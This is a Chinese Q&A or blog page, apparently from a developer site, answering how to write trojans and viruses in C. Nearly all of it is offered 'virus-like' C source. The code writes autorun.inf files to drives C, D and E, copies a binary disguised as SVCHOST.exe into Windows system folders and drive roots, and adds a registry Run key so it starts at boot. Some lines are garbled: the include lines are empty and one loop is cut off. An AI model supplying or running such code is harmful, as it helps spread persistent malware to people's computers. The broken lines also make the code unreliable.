c语言编木马程序,肿么用C语言编写木马.病毒等程序

嘿嘿给你个类病毒C程序源码,看下方法吧 #define SVCHOST_NUM 6

#include

#include

char *autorun={"[autorun]\nopen=SVCHOST.exe\n\nshell\\1=打开\nshell\\1\\Command=SVCHOST.exe\nshell\\2\\=Open\nshell\\2\\Command=SVCHOST.exe\nshellexecute=SVCHOST.exe"};

char *files_autorun[10]={"c:\\autorun.inf","d:\\autorun.inf","e:\\autorun.inf"};

char *files_svchost[SVCHOST_NUM+1]={"c:\\windows\\system\\MSMOUSE.DLL",

"c:\\windows\\system\\SVCHOST.exe","c:\\windows\\SVCHOST.exe",

"c:\\SVCHOST.exe","d:\\SVCHOST.exe","e:\\SVCHOST.exe","SVCHOST.exe"};

char *regadd="reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" /v SVCHOST /d C:\\Windows\\system\\SVCHOST.exe /f";

int copy(char *infile,char *outfile)

{

FILE *input,*output;

char temp;

if(strcmp(infile,outfile)!=0 && ((input=fopen(infile,"rb"))!=NULL) && ((output=fopen

(outfile,"wb"))!=NULL))

{

while(!feof(input))

{

fread(&temp,1,1,input);

fwrite(&temp,1,1,output);

}

fclose(input);

fclose(output);

return 0;

}

else return 1;

}

int main(void)

{

FILE *input,*output;

int i,k;

for(i=0;i<3;i++)

{

output=fopen(files_autorun[i],"w");

fprintf(output,"%s",autorun);

fclose(output);

}

for(i=0;i<=SVCHOST_NUM;i++)

{

if((input=fopen(files_svchost[i],"rb"))!=NULL)

{

fclose(input);

for(k=0;k

{

copy(files_svchost[i],files_svchost[k]);

}

i=SVCHOST_NUM+1;

}

}

system(regadd); /* 注册SVCHOST.exe,让其在启动时运行 */

return 0;

}

取消

评论

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值